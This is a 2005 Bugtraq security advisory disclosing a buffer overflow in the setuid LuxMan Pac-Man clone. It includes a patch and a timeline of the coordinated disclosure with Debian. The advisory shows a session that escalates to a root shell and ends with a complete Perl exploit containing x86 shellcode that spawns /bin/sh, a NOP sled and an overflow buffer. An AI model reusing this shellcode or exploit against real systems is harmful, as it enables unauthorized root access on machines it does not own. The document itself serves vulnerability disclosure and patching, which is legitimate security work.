Bugtraq mailing list archives

DMA[2005-0310a] - 'Frank McIngvale LuxMan buffer overflow'


From: Kevin Finisterre <kf () digitalmunition com>
Date: Mon, 14 Mar 2005 14:30:15 -0500

I am sure there are some typos in this ... but oh well. By now you all know I am lazy.
-KF
DMA[2005-0310a] - 'Frank McIngvale LuxMan buffer overflow'
Author: Kevin Finisterre
Vendor: frankm () nuance com (broken)
Product: 'luxman'
References: (CAN-2005-0385)
http://www.digitalmunition.com/DMA[2005-0310a].txt 
http://www.debian.org/security/2005/dsa-693

Description: 
LuxMan is a Pac-Man clone for SVGALIB. It includes color, sound, several 
different levels, and difficulty settings. LuxMan also comes with tools 
for making your own levels and customizing the game. Woohoo! Lets chomp
some power pellets! I've got pacman fever folks. 

The following statement from http://packages.debian.org/stable/games/luxman
led me to audit this package:

"WARNING: This package CONTAINS SETUID ROOT BINARIES. This is a possible
SECURITY RISK. I don't want to tell you not to afraid, but this package is 
in Debian since 4 years w/o problems."

Be afraid! Shiver and quake in your boots! Well not really... the author 
did a pretty good job at preventing "potential" exploits from happening. 
(hp is rubbing off on me). The snippet below is taken from  a file included
in the luxman_0.41.orig.tar.gz called README.Security:

----------- snip -----------

[This is perhaps overly cautious of me, but I'd rather be safe.]

LuxMan, like all other programs which use `svgalib', runs
setuid-root. That is, when it starts running, it is running
with root privileges. This means that it could delete all the files
on your hard drive, etc., if it wanted to.

The VERY FIRST thing the program does (after printing a copyright
notice) is to call vga_init(). `vga_init()' is an svgalib routine
which initializes the VGA card and gives up root privileges.

LuxMan NEVER attempts to regain root privileges after this point.

----------- snip -----------

As I stated above the author did a good job at limiting the impact of this
bug. By making a call to vga_init() this bug is pretty much curbed. vga_init() 
detects the chipset and gives up supervisor rights immediately. 

If we plan to exploit this bug we pretty much only have two options... hope that
the machine is running a super old school version of sgvalib or cross your fingers
for 'security compat' in the config file. If you have neither of these you are
pretty much S.O.L., unless you have some other technique for bypassing vga_init(). 

Svgalib versions prior to 1.2.11 had a security hole where it would be possible 
to regain root privileges even after a vga_init() call. Some programs may 
(accidently) rely on the old vga_init behaviour (which was probably due to the 
author not knowing about saved uids (which might actually even not have existed in
Linux at that time)). Because of this svgalib includes the option to revert back
to the old behavior. Placing 'security compat' in /etc/vga/libvga.conf or on 
debian /etc/vga/libvga.config will reinstate the old behavior. 

If either of the above conditions are met exploitation can be done as shown below. 

By providing an overly long argument to the '-f' option a fixed buffer will be 
overflown and if you were lucky you get a root shell. 

kfinisterre@kfinisterre01:~$ id
uid=1000(kfinisterre) gid=1000(kfinisterre) groups=1000(kfinisterre)

kfinisterre@kfinisterre01:~$ ./luxman_ex2.pl
LuxMan v0.41, Copyright (c) 1995 Frank McIngvale
LuxMan comes with ABSOLUTELY NO WARRANTY; see COPYING for details.

You must be the owner of the current console to use svgalib.
Not running in a graphics capable console,
and unable to find one.
Using EGA driver.
svgalib 1.4.3
You must be the owner of the current console to use svgalib.
Not running in a graphics capable console,
and unable to find one.

The frame rate is now set to 1 frames per second.
If the game seems too fast, too slow, or too jerky,
you can adjust this value the `-r' option.

Calibrating delay...-666626
Sound server started [pid:15233]
sh-2.05b# id
uid=0(root) gid=1000(kfinisterre) groups=1000(kfinisterre)


To fix this vulnerability modify util.cc as follows or do an 'apt-get update' if
you are on Debian. 

--- luxman-0.41/gtools/util.cc-orig     Wed Mar  9 20:18:58 2005
+++ luxman-0.41/gtools/util.cc  Wed Mar  9 22:21:31 2005
@@ -295,6 +295,9 @@
   if ( !strlen( basename ) )
        return 0;

+  if ( strlen( basename ) > NAME_MAX )
+        return 0;
+
   /* Try basename */
   if ( resolve_tilde( bname, basename ) == NULL )
        return 0;

Timeline associated with this bug:
03/09/05 Contacted ocsi () debian org and security () debian org
03/09/05 Bug verified by Steve Kemp
03/10/05 Joey () infodrom org provides CVE ID
03/14/05 Debian [DSA 693-1] released to address this issue
#!/usr/bin/perl -w
#
# luxman exploit
#
# ii  luxman         0.41-19.1      Pac-Man clone (svgalib based)
#
# Tested with "security compat" set in /etc/vga/libvga.config on debian unstable 3.1
#
# kfinisterre@jdam:~$ ./luxman_ex.pl
# LuxMan v0.41, Copyright (c) 1995 Frank McIngvale
# LuxMan comes with ABSOLUTELY NO WARRANTY; see COPYING for details.
# 
# You must be the owner of the current console to use svgalib.
# Not running in a graphics capable console,
# and unable to find one.
# Using SIS driver, 2048KB. Chiptype=8
# svgalib 1.4.3
# You must be the owner of the current console to use svgalib.
# Not running in a graphics capable console,
# and unable to find one.
# svgalib: Failed to initialize mouse.
# 
# The frame rate is now set to 1 frames per second.
# If the game seems too fast, too slow, or too jerky,
# you can adjust this value the `-r' option.
# 
# Calibrating delay...-664257
# Sound server started [pid:7082]
# sh-2.05b# id
# uid=0(root) gid=1000(kfinisterre) groups=1000(kfinisterre)
#

($offset) = @ARGV,$offset || ($offset = 0);

$sc  = "\x90"x512;
$sc .= "\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80";
$sc .= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b";
$sc .= "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd";
$sc .= "\x80\xe8\xdc\xff\xff\xff/bin/sh";

$ENV{"FOO"} = $sc;

$buf = "A" x 8732;
$buf .= (pack("l",(0xbfffffff-512+$offset)) x2);

#exec("strace -u kfinisterre /usr/games/luxman -r 1 -f $buf");
exec("/usr/games/luxman -r 1 -f $buf");


Current thread: